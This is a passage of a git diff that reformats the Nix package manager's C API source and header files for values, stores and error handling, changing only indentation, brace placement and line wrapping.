NIXC_CATCH_ERRS } // todo string context -nix_err nix_set_string(nix_c_context *context, Value *value, const char *str) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - v.mkString(std::string_view(str)); - } - NIXC_CATCH_ERRS +nix_err nix_set_string(nix_c_context * context, Value * value, const char * str) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + v.mkString(std::string_view(str)); + } + NIXC_CATCH_ERRS } -nix_err nix_set_path_string(nix_c_context *context, Value *value, - const char *str) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - v.mkPath(std::string_view(str)); - } - NIXC_CATCH_ERRS +nix_err nix_set_path_string(nix_c_context * context, Value * value, const char * str) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + v.mkPath(std::string_view(str)); + } + NIXC_CATCH_ERRS } -nix_err nix_set_float(nix_c_context *context, Value *value, double d) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - v.mkFloat(d); - } - NIXC_CATCH_ERRS +nix_err nix_set_float(nix_c_context * context, Value * value, double d) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + v.mkFloat(d); + } + NIXC_CATCH_ERRS } -nix_err nix_set_int(nix_c_context *context, Value *value, int64_t i) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - v.mkInt(i); - } - NIXC_CATCH_ERRS +nix_err nix_set_int(nix_c_context * context, Value * value, int64_t i) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + v.mkInt(i); + } + NIXC_CATCH_ERRS } -nix_err nix_set_null(nix_c_context *context, Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - v.mkNull(); - } - NIXC_CATCH_ERRS +nix_err nix_set_null(nix_c_context * context, Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + v.mkNull(); + } + NIXC_CATCH_ERRS } -nix_err nix_set_external(nix_c_context *context, Value *value, - ExternalValue *val) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - auto r = (nix::ExternalValueBase *)val; - v.mkExternal(r); - } - NIXC_CATCH_ERRS +nix_err nix_set_external(nix_c_context * context, Value * value, ExternalValue * val) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + auto r = (nix::ExternalValueBase *) val; + v.mkExternal(r); + } + NIXC_CATCH_ERRS } -nix_err nix_make_list(nix_c_context *context, State *s, Value *value, - unsigned int size) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - s->state.mkList(v, size); - } - NIXC_CATCH_ERRS +nix_err nix_make_list(nix_c_context * context, State * s, Value * value, unsigned int size) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + s->state.mkList(v, size); + } + NIXC_CATCH_ERRS } -nix_err nix_set_list_byidx(nix_c_context *context, Value *value, - unsigned int ix, Value *elem) { - if (context) - context->last_err_code = NIX_OK; - try { - // todo: assert that this is a list - auto &v = check_value_not_null(value); - auto &e = check_value_not_null(elem); - v.listElems()[ix] = &e; - } - NIXC_CATCH_ERRS +nix_err nix_set_list_byidx(nix_c_context * context, Value * value, unsigned int ix, Value * elem) +{ + if (context) + context->last_err_code = NIX_OK; + try { + // todo: assert that this is a list + auto & v = check_value_not_null(value); + auto & e = check_value_not_null(elem); + v.listElems()[ix] = &e; + } + NIXC_CATCH_ERRS } -nix_err nix_set_primop(nix_c_context *context, Value *value, PrimOp *p) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - v.mkPrimOp((nix::PrimOp *)p); - } - NIXC_CATCH_ERRS +nix_err nix_set_primop(nix_c_context * context, Value * value, PrimOp * p) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + v.mkPrimOp((nix::PrimOp *) p); + } + NIXC_CATCH_ERRS } -nix_err nix_copy_value(nix_c_context *context, Value *value, Value *source) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - auto &s = check_value_not_null(source); - v = s; - } - NIXC_CATCH_ERRS +nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + auto & s = check_value_not_null(source); + v = s; + } + NIXC_CATCH_ERRS } -nix_err nix_make_attrs(nix_c_context *context, Value *value, - BindingsBuilder *b) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - v.mkAttrs(b->builder); - } - NIXC_CATCH_ERRS +nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * b) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + v.mkAttrs(b->builder); + } + NIXC_CATCH_ERRS } -BindingsBuilder *nix_make_bindings_builder(nix_c_context *context, State *state, - size_t capacity) { - if (context) - context->last_err_code = NIX_OK; - try { - auto bb = state->state.buildBindings(capacity); - return new +BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, State * state, size_t capacity) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto bb = state->state.buildBindings(capacity); + return new #if HAVE_BOEHMGC - (NoGC) + (NoGC) #endif - BindingsBuilder{std::move(bb)}; - } - NIXC_CATCH_ERRS_NULL + BindingsBuilder{std::move(bb)}; + } + NIXC_CATCH_ERRS_NULL } -nix_err nix_bindings_builder_insert(nix_c_context *context, BindingsBuilder *b, - const char *name, Value *value) { - if (context) - context->last_err_code = NIX_OK; - try { - auto &v = check_value_not_null(value); - nix::Symbol s = b->builder.state.symbols.create(name); - b->builder.insert(s, &v); - } - NIXC_CATCH_ERRS +nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * b, const char * name, Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + nix::Symbol s = b->builder.state.symbols.create(name); + b->builder.insert(s, &v); + } + NIXC_CATCH_ERRS } -void nix_bindings_builder_free(BindingsBuilder *bb) { +void nix_bindings_builder_free(BindingsBuilder * bb) +{ #if HAVE_BOEHMGC - GC_FREE((nix::BindingsBuilder *)bb); + GC_FREE((nix::BindingsBuilder *) bb); #else - delete (nix::BindingsBuilder *)bb; + delete (nix::BindingsBuilder *) bb; #endif } diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index f4d9c9584..21647552b 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -20,17 +20,17 @@ extern "C" { // Type definitions typedef enum { - NIX_TYPE_THUNK, - NIX_TYPE_INT, - NIX_TYPE_FLOAT, - NIX_TYPE_BOOL, - NIX_TYPE_STRING, - NIX_TYPE_PATH, - NIX_TYPE_NULL, - NIX_TYPE_ATTRS, - NIX_TYPE_LIST, - NIX_TYPE_FUNCTION, - NIX_TYPE_EXTERNAL + NIX_TYPE_THUNK, + NIX_TYPE_INT, + NIX_TYPE_FLOAT, + NIX_TYPE_BOOL, + NIX_TYPE_STRING, + NIX_TYPE_PATH, + NIX_TYPE_NULL, + NIX_TYPE_ATTRS, + NIX_TYPE_LIST, + NIX_TYPE_FUNCTION, + NIX_TYPE_EXTERNAL } ValueType; // forward declarations @@ -67,11 +67,12 @@ typedef struct ExternalValue ExternalValue; /** @brief Function pointer for primops * @param[in] state Evaluator state * @param[in] pos Call position, opaque index into the state's position table. - * @param[in] args list of arguments. Note that these can be thunks and should be forced using nix_value_force before use. + * @param[in] args list of arguments. Note that these can be thunks and should be forced using nix_value_force before + * use. * @param[out] ret return value * @see nix_alloc_primop, nix_set_primop */ -typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *ret); +typedef void (*PrimOpFun)(State * state, int pos, Value ** args, Value * ret); /** @brief Allocate a PrimOp * @@ -87,8 +88,8 @@ typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *ret); * @return primop, or null in case of errors * @see nix_set_primop */ -PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, - const char *name, const char **args, const char *doc); +PrimOp * nix_alloc_primop( + nix_c_context * context, PrimOpFun fun, int arity, const char * name, const char ** args, const char * doc); /** @brief add a primop to the `builtins` attribute set * @@ -102,7 +103,7 @@ PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, * @return primop, or null in case of errors * */ -nix_err nix_register_primop(nix_c_context *context, PrimOp *primOp); +nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp); /** @} */ // Function prototypes @@ -115,7 +116,7 @@ nix_err nix_register_primop(nix_c_context *context, PrimOp *primOp); * @return value, or null in case of errors * */ -Value *nix_alloc_value(nix_c_context *context, State *state); +Value * nix_alloc_value(nix_c_context * context, State * state); /** @addtogroup value_manip Manipulating values * @brief Functions to inspect and change Nix language values, represented by Value. * @{ @@ -128,65 +129,65 @@ Value *nix_alloc_value(nix_c_context *context, State *state); * @param[in] value Nix value to inspect * @return type of nix value */ -ValueType nix_get_type(nix_c_context *context, const Value *value); +ValueType nix_get_type(nix_c_context * context, const Value * value); /** @brief Get type name of value as defined in the evaluator * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return type name, owned string * @todo way to free the result */ -const char *nix_get_typename(nix_c_context *context, const Value *value); +const char * nix_get_typename(nix_c_context * context, const Value * value); /** @brief Get boolean value * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return true or false, error info via context */ -bool nix_get_bool(nix_c_context *context, const Value *value); +bool nix_get_bool(nix_c_context * context, const Value * value); /** @brief Get string * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return string * @return NULL in case of error. */ -const char *nix_get_string(nix_c_context *context, const Value *value); +const char * nix_get_string(nix_c_context * context, const Value * value); /** @brief Get path as string * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return string * @return NULL in case of error. */ -const char *nix_get_path_string(nix_c_context *context, const Value *value); +const char * nix_get_path_string(nix_c_context * context, const Value * value); /** @brief Get the length of a list * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return length of list, error info via context */ -unsigned int nix_get_list_size(nix_c_context *context, const Value *value); +unsigned int nix_get_list_size(nix_c_context * context, const Value * value); /** @brief Get the element count of an attrset * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return attrset element count, error info via context */ -unsigned int nix_get_attrs_size(nix_c_context *context, const Value *value); +unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value); /** @brief Get float value in 64 bits * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return float contents, error info via context */ -double nix_get_float(nix_c_context *context, const Value *value); +double nix_get_float(nix_c_context * context, const Value * value); /** @brief Get int value * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return int contents, error info via context */ -int64_t nix_get_int(nix_c_context *context, const Value *value); +int64_t nix_get_int(nix_c_context * context, const Value * value); /** @brief Get external reference * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @return reference to external, NULL in case of error */ -ExternalValue *nix_get_external(nix_c_context *context, Value *); +ExternalValue * nix_get_external(nix_c_context * context, Value *); /** @brief Get the ix'th element of a list * @@ -197,8 +198,7 @@ ExternalValue *nix_get_external(nix_c_context *context, Value *); * @param[in] ix list element to get * @return value, NULL in case of errors */ -Value *nix_get_list_byidx(nix_c_context *context, const Value *value, - State *state, unsigned int ix); +Value * nix_get_list_byidx(nix_c_context * context, const Value * value, State * state, unsigned int ix); /** @brief Get an attr by name * * Owned by the GC. Use nix_gc_decref when you're done with the pointer @@ -208,8 +208,7 @@ Value *nix_get_list_byidx(nix_c_context *context, const Value *value, * @param[in] name attribute name * @return value, NULL in case of errors */ -Value *nix_get_attr_byname(nix_c_context *context, const Value *value, - State *state, const char *name); +Value * nix_get_attr_byname(nix_c_context * context, const Value * value, State * state, const char * name); /** @brief Check if an attribute name exists on a value * @param[out] context Optional, stores error information @@ -218,8 +217,7 @@ Value *nix_get_attr_byname(nix_c_context *context, const Value *value, * @param[in] name attribute name * @return value, error info via context */ -bool nix_has_attr_byname(nix_c_context *context, const Value *value, - State *state, const char *name); +bool nix_has_attr_byname(nix_c_context * context, const Value * value, State * state, const char * name); /** @brief Get an attribute by index in the sorted bindings * @@ -233,8 +231,8 @@ bool nix_has_attr_byname(nix_c_context *context, const Value *value, * @param[out] name will store a pointer to the attribute name * @return value, NULL in case of errors */ -Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, - State *state, unsigned int i, const char **name); +Value * +nix_get_attr_byidx(nix_c_context * context, const Value * value, State * state, unsigned int i, const char ** name); /** @brief Get an attribute name by index in the sorted bindings * @@ -247,8 +245,7 @@ Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, * @param[in] i attribute index * @return name, NULL in case of errors */ -const char *nix_get_attr_name_byidx(nix_c_context *context, const Value *value, - State *state, unsigned int i); +const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, State * state, unsigned int i); /**@}*/ /** @name Setters */ @@ -259,58 +256,55 @@ const char *nix_get_attr_name_byidx(nix_c_context *context, const Value *value, * @param[in] b the boolean value * @return error code, NIX_OK on success. */ -nix_err nix_set_bool(nix_c_context *context, Value *value, bool b); +nix_err nix_set_bool(nix_c_context * context, Value * value, bool b); /** @brief Set a string * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] str the string, copied * @return error code, NIX_OK on success. */ -nix_err nix_set_string(nix_c_context *context, Value *value, const char *str); +nix_err nix_set_string(nix_c_context * context, Value * value, const char * str); /** @brief Set a path * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] str the path string, copied * @return error code, NIX_OK on success. */ -nix_err nix_set_path_string(nix_c_context *context, Value *value, - const char *str); +nix_err nix_set_path_string(nix_c_context * context, Value * value, const char * str); /** @brief Set a float * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] d the float, 64-bits * @return error code, NIX_OK on success. */ -nix_err nix_set_float(nix_c_context *context, Value *value, double d); +nix_err nix_set_float(nix_c_context * context, Value * value, double d); /** @brief Set an int * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] i the int * @return error code, NIX_OK on success. */ -nix_err nix_set_int(nix_c_context *context, Value *value, int64_t i); +nix_err nix_set_int(nix_c_context * context, Value * value, int64_t i); /** @brief Set null * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @return error code, NIX_OK on success. */ -nix_err nix_set_null(nix_c_context *context, Value *value); +nix_err nix_set_null(nix_c_context * context, Value * value); /** @brief Set an external value * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] val the external value to set. Will be GC-referenced by the value. * @return error code, NIX_OK on success. */ -nix_err nix_set_external(nix_c_context *context, Value *value, - ExternalValue *val); +nix_err nix_set_external(nix_c_context * context, Value * value, ExternalValue * val); /** @brief Allocate a list * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] size size of list * @return error code, NIX_OK on success. */ -nix_err nix_make_list(nix_c_context *context, State *s, Value *value, - unsigned int size); +nix_err nix_make_list(nix_c_context * context, State * s, Value * value, unsigned int size); /** @brief Manipulate a list by index * * Don't do this mid-computation. @@ -321,16 +315,14 @@ nix_err nix_make_list(nix_c_context *context, State *s, Value *value, * @param[in] elem the value to set, will be gc-referenced by the value * @return error code, NIX_OK on success. */ -nix_err nix_set_list_byidx(nix_c_context *context, Value *value, - unsigned int ix, Value *elem); +nix_err nix_set_list_byidx(nix_c_context * context, Value * value, unsigned int ix, Value * elem); /** @brief Create an attribute set from a bindings builder * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] b bindings builder to use. Make sure to unref this afterwards. * @return error code, NIX_OK on success. */ -nix_err nix_make_attrs(nix_c_context *context, Value *value, - BindingsBuilder *b); +nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * b); /** @brief Set primop * @param[out] context Optional, stores error information * @param[out] value Nix value to modify @@ -338,14 +330,14 @@ nix_err nix_make_attrs(nix_c_context *context, Value *value, * @see nix_alloc_primop * @return error code, NIX_OK on success. */ -nix_err nix_set_primop(nix_c_context *context, Value *value, PrimOp *op); +nix_err nix_set_primop(nix_c_context * context, Value * value, PrimOp * op); /** @brief Copy from another value * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] source value to copy from * @return error code, NIX_OK on success. */ -nix_err nix_copy_value(nix_c_context *context, Value *value, Value *source); +nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source); /**@}*/ /** @brief Create a bindings builder @@ -356,8 +348,7 @@ nix_err nix_copy_value(nix_c_context *context, Value *value, Value *source); * @return owned reference to a bindings builder. Make sure to unref when you're done. */ -BindingsBuilder *nix_make_bindings_builder(nix_c_context *context, State *state, - size_t capacity); +BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, State * state, size_t capacity); /** @brief Insert bindings into a builder * @param[out] context Optional, stores error information * @param[in] builder BindingsBuilder to insert into @@ -365,15 +356,14 @@ BindingsBuilder *nix_make_bindings_builder(nix_c_context *context, State *state, * @param[in] value value to give the binding * @return error code, NIX_OK on success. */ -nix_err nix_bindings_builder_insert(nix_c_context *context, - BindingsBuilder *builder, const char *name, - Value *value); +nix_err +nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * builder, const char * name, Value * value); /** @brief Free a bindings builder * * Does not fail. * @param[in] builder the builder to free */ -void nix_bindings_builder_free(BindingsBuilder *builder); +void nix_bindings_builder_free(BindingsBuilder * builder); /**@}*/ // cffi end diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore/c/nix_api_store.cc index 7b5391034..4ee97c8a1 100644 --- a/src/libstore/c/nix_api_store.cc +++ b/src/libstore/c/nix_api_store.cc @@ -7,122 +7,132 @@ #include "globals.hh" -struct StorePath { - nix::StorePath path; +struct StorePath +{ + nix::StorePath path; }; -nix_err nix_libstore_init(nix_c_context *context) { - if (context) - context->last_err_code = NIX_OK; - try { - nix::initLibStore(); - } - NIXC_CATCH_ERRS -} - -nix_err nix_init_plugins(nix_c_context *context) { - if (context) - context->last_err_code = NIX_OK; - try { - nix::initPlugins(); - } - NIXC_CATCH_ERRS -} - -Store *nix_store_open(nix_c_context *context, const char *uri, - const char ***params) { - if (context) - context->last_err_code = NIX_OK; - try { - if (!uri) { - return new Store{nix::openStore()}; - } else { - std::string uri_str = uri; - if (!params) - return new Store{nix::openStore(uri_str)}; - - nix::Store::Params params_map; - for (size_t i = 0; params[i] != nullptr; i++) { - params_map[params[i][0]] = params[i][1]; - } - return new Store{nix::openStore(uri_str, params_map)}; +nix_err nix_libstore_init(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::initLibStore(); } - } - NIXC_CATCH_ERRS_NULL + NIXC_CATCH_ERRS } -void nix_store_unref(Store *store) { delete store; } - -nix_err nix_store_get_uri(nix_c_context *context, Store *store, char *dest, - unsigned int n) { - if (context) - context->last_err_code = NIX_OK; - try { - auto res = store->ptr->getUri(); - return nix_export_std_string(context, res, dest, n); - } - NIXC_CATCH_ERRS -} - -nix_err nix_store_get_version(nix_c_context *context, Store *store, char *dest, - unsigned int n) { - if (context) - context->last_err_code = NIX_OK; - try { - auto res = store->ptr->getVersion(); - if (res) { - return nix_export_std_string(context, *res, dest, n); - } else { - return nix_set_err_msg(context, NIX_ERR_UNKNOWN, - "store does not have a version"); +nix_err nix_init_plugins(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::initPlugins(); } - } - NIXC_CATCH_ERRS + NIXC_CATCH_ERRS } -bool nix_store_is_valid_path(nix_c_context *context, Store *store, - StorePath *path) { - if (context) - context->last_err_code = NIX_OK; - try { - return store->ptr->isValidPath(path->path); - } - NIXC_CATCH_ERRS_RES(false); -} +Store * nix_store_open(nix_c_context * context, const char * uri, const char *** params) +{ + if (context) + context->last_err_code = NIX_OK; + try { + if (!uri) { + return new Store{nix::openStore()}; + } else { + std::string uri_str = uri; + if (!params) + return new Store{nix::openStore(uri_str)}; -StorePath *nix_store_parse_path(nix_c_context *context, Store *store, - const char *path) { - if (context) - context->last_err_code = NIX_OK; - try { - nix::StorePath s = store->ptr->parseStorePath(path); - return new StorePath{std::move(s)}; - } - NIXC_CATCH_ERRS_NULL -} - -nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, - void *userdata, - void (*callback)(void *userdata, const char *, - const char *)) { - if (context) - context->last_err_code = NIX_OK; - try { - store->ptr->buildPaths({ - nix::DerivedPath::Built{ - .drvPath = path->path, - .outputs = nix::OutputsSpec::All{}, - }, - }); - if (callback) { - for (auto &[outputName, outputPath] : - store->ptr->queryDerivationOutputMap(path->path)) { - auto op = store->ptr->printStorePath(outputPath); - callback(userdata, outputName.c_str(), op.c_str()); - } + nix::Store::Params params_map; + for (size_t i = 0; params[i] != nullptr; i++) { + params_map[params[i][0]] = params[i][1]; + } + return new Store{nix::openStore(uri_str, params_map)}; + } } - } - NIXC_CATCH_ERRS + NIXC_CATCH_ERRS_NULL } -void nix_store_path_free(StorePath *sp) { delete sp; } +void nix_store_unref(Store * store) +{ + delete store; +} + +nix_err nix_store_get_uri(nix_c_context * context, Store * store, char * dest, unsigned int n) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto res = store->ptr->getUri(); + return nix_export_std_string(context, res, dest, n); + } + NIXC_CATCH_ERRS +} + +nix_err nix_store_get_version(nix_c_context * context, Store * store, char * dest, unsigned int n) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto res = store->ptr->getVersion(); + if (res) { + return nix_export_std_string(context, *res, dest, n); + } else { + return nix_set_err_msg(context, NIX_ERR_UNKNOWN, "store does not have a version"); + } + } + NIXC_CATCH_ERRS +} + +bool nix_store_is_valid_path(nix_c_context * context, Store * store, StorePath * path) +{ + if (context) + context->last_err_code = NIX_OK; + try { + return store->ptr->isValidPath(path->path); + } + NIXC_CATCH_ERRS_RES(false); +} + +StorePath * nix_store_parse_path(nix_c_context * context, Store * store, const char * path) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::StorePath s = store->ptr->parseStorePath(path); + return new StorePath{std::move(s)}; + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_store_build( + nix_c_context * context, + Store * store, + StorePath * path, + void * userdata, + void (*callback)(void * userdata, const char *, const char *)) +{ + if (context) + context->last_err_code = NIX_OK; + try { + store->ptr->buildPaths({ + nix::DerivedPath::Built{ + .drvPath = path->path, + .outputs = nix::OutputsSpec::All{}, + }, + }); + if (callback) { + for (auto & [outputName, outputPath] : store->ptr->queryDerivationOutputMap(path->path)) { + auto op = store->ptr->printStorePath(outputPath); + callback(userdata, outputName.c_str(), op.c_str()); + } + } + } + NIXC_CATCH_ERRS +} + +void nix_store_path_free(StorePath * sp) +{ + delete sp; +} diff --git a/src/libstore/c/nix_api_store.h b/src/libstore/c/nix_api_store.h index 43ded1860..91abdb201 100644 --- a/src/libstore/c/nix_api_store.h +++ b/src/libstore/c/nix_api_store.h @@ -33,7 +33,7 @@ typedef struct StorePath StorePath; * @param[out] context Optional, stores error information * @return NIX_OK if the initialization was successful, an error code otherwise. */ -nix_err nix_libstore_init(nix_c_context *context); +nix_err nix_libstore_init(nix_c_context * context); /** * @brief Loads the plugins specified in Nix's plugin-files setting. @@ -44,7 +44,7 @@ nix_err nix_libstore_init(nix_c_context *context); * @param[out] context Optional, stores error information * @return NIX_OK if the initialization was successful, an error code otherwise. */ -nix_err nix_init_plugins(nix_c_context *context); +nix_err nix_init_plugins(nix_c_context * context); /** * @brief Open a nix store @@ -55,7 +55,7 @@ nix_err nix_init_plugins(nix_c_context *context); * @return ref-counted Store pointer, NULL in case of errors * @see nix_store_unref */ -Store *nix_store_open(nix_c_context *, const char *uri, const char ***params); +Store * nix_store_open(nix_c_context *, const char * uri, const char *** params); /** * @brief Unref a nix store @@ -64,7 +64,7 @@ Store *nix_store_open(nix_c_context *, const char *uri, const char ***params); * It'll be closed and deallocated when all references are gone. * @param[in] builder the store to unref */ -void nix_store_unref(Store *store); +void nix_store_unref(Store * store); /** * @brief get the URI of a nix store @@ -74,8 +74,7 @@ void nix_store_unref(Store *store); * @param[in] n Maximum size of the returned string. * @return error code, NIX_OK on success. */ -nix_err nix_store_get_uri(nix_c_context *context, Store *store, char *dest, - unsigned int n); +nix_err nix_store_get_uri(nix_c_context * context, Store * store, char * dest, unsigned int n); // returns: owned StorePath* /** @@ -87,25 +86,24 @@ nix_err nix_store_get_uri(nix_c_context *context, Store *store, char *dest, * @param[in] path Path string to parse, copied * @return owned store path, NULL on error */ -StorePath *nix_store_parse_path(nix_c_context *context, Store *store, - const char *path); +StorePath * nix_store_parse_path(nix_c_context * context, Store * store, const char * path); /** @brief Deallocate a StorePath * * Does not fail. * @param[in] p the path to free */ -void nix_store_path_free(StorePath *p); +void nix_store_path_free(StorePath * p); /** - * @brief Check if a StorePath is valid (i.e. that corresponding store object and its closure of references exists in the store) + * @brief Check if a StorePath is valid (i.e. that corresponding store object and its closure of references exists in + * the store) * @param[out] context Optional, stores error information * @param[in] store Nix Store reference * @param[in] path Path to check * @return true or false, error info in context */ -bool nix_store_is_valid_path(nix_c_context *context, Store *store, - StorePath *path); +bool nix_store_is_valid_path(nix_c_context * context, Store * store, StorePath * path); // nix_err nix_store_ensure(Store*, const char*); // nix_err nix_store_build_paths(Store*); /** @@ -119,10 +117,12 @@ bool nix_store_is_valid_path(nix_c_context *context, Store *store, * @param[in] userdata data to pass to every callback invocation * @param[in] callback called for every realised output */ -nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, - void *userdata, - void (*callback)(void *userdata, const char *outname, - const char *out)); +nix_err nix_store_build( + nix_c_context * context, + Store * store, + StorePath * path, + void * userdata, + void (*callback)(void * userdata, const char * outname, const char * out)); /** * @brief get the version of a nix store @@ -132,8 +132,7 @@ nix_err nix_store_build(nix_c_context *context, Store *store, StorePath *path, * @param[in] n Maximum size of the returned string. * @return error code, NIX_OK on success. */ -nix_err nix_store_get_version(nix_c_context *, Store *store, char *dest, - unsigned int n); +nix_err nix_store_get_version(nix_c_context *, Store * store, char * dest, unsigned int n); // cffi end #ifdef __cplusplus diff --git a/src/libstore/c/nix_api_store_internal.h b/src/libstore/c/nix_api_store_internal.h index 59524ea8e..ef5edc788 100644 --- a/src/libstore/c/nix_api_store_internal.h +++ b/src/libstore/c/nix_api_store_internal.h @@ -2,7 +2,8 @@ #define NIX_API_STORE_INTERNAL_H #include "store-api.hh" -struct Store { - nix::ref ptr; +struct Store +{ + nix::ref ptr; }; #endif diff --git a/src/libutil/c/nix_api_util.cc b/src/libutil/c/nix_api_util.cc index 874ccdbb5..100e3b21d 100644 --- a/src/libutil/c/nix_api_util.cc +++ b/src/libutil/c/nix_api_util.cc @@ -7,139 +7,145 @@ #include #include -nix_c_context *nix_c_context_create() { return new nix_c_context(); } +nix_c_context * nix_c_context_create() +{ + return new nix_c_context(); +} -void nix_c_context_free(nix_c_context *context) { delete context; } +void nix_c_context_free(nix_c_context * context) +{ + delete context; +} -nix_err nix_context_error(nix_c_context *context) { - if (context == nullptr) { - throw; - } - try { - throw; - } catch (nix::Error &e) { - /* Storing this exception is annoying, take what we need here */ - context->last_err = e.what(); - context->info = e.info(); - int status; - const char *demangled = - abi::__cxa_demangle(typeid(e).name(), 0, 0, &status); - if (demangled) { - context->name = demangled; - // todo: free(demangled); - } else { - context->name = typeid(e).name(); +nix_err nix_context_error(nix_c_context * context) +{ + if (context == nullptr) { + throw; } - context->last_err_code = NIX_ERR_NIX_ERROR; - return context->last_err_code; - } catch (const std::exception &e) { - context->last_err = e.what(); - context->last_err_code = NIX_ERR_UNKNOWN; - return context->last_err_code; - } - // unreachable + try { + throw; + } catch (nix::Error & e) { + /* Storing this exception is annoying, take what we need here */ + context->last_err = e.what(); + context->info = e.info(); + int status; + const char * demangled = abi::__cxa_demangle(typeid(e).name(), 0, 0, &status); + if (demangled) { + context->name = demangled; + // todo: free(demangled); + } else { + context->name = typeid(e).name(); + } + context->last_err_code = NIX_ERR_NIX_ERROR; + return context->last_err_code; + } catch (const std::exception & e) { + context->last_err = e.what(); + context->last_err_code = NIX_ERR_UNKNOWN; + return context->last_err_code; + } + // unreachable } -nix_err nix_set_err_msg(nix_c_context *context, nix_err err, const char *msg) { - if (context == nullptr) { - // todo last_err_code - throw nix::Error("Nix C api error: %s", msg); - } - context->last_err_code = err; - context->last_err = msg; - return err; +nix_err nix_set_err_msg(nix_c_context * context, nix_err err, const char * msg) +{ + if (context == nullptr) { + // todo last_err_code + throw nix::Error("Nix C api error: %s", msg); + } + context->last_err_code = err; + context->last_err = msg; + return err; } -const char *nix_version_get() { return PACKAGE_VERSION; } +const char * nix_version_get() +{ + return PACKAGE_VERSION; +} // Implementations -nix_err nix_setting_get(nix_c_context *context, const char *key, char *value, - int n) { - if (context) - context->last_err_code = NIX_OK; - try { - std::map settings; - nix::globalConfig.getSettings(settings); - if (settings.contains(key)) - return nix_export_std_string(context, settings[key].value, value, n); - else { - return nix_set_err_msg(context, NIX_ERR_KEY, "Setting not found"); +nix_err nix_setting_get(nix_c_context * context, const char * key, char * value, int n) +{ + if (context) + context->last_err_code = NIX_OK; + try { + std::map settings; + nix::globalConfig.getSettings(settings); + if (settings.contains(key)) + return nix_export_std_string(context, settings[key].value, value, n); + else { + return nix_set_err_msg(context, NIX_ERR_KEY, "Setting not found"); + } } - } - NIXC_CATCH_ERRS + NIXC_CATCH_ERRS } -nix_err nix_setting_set(nix_c_context *context, const char *key, - const char *value) { - if (context) - context->last_err_code = NIX_OK; - if (nix::globalConfig.set(key, value)) - return NIX_OK; - else { - return nix_set_err_msg(context, NIX_ERR_KEY, 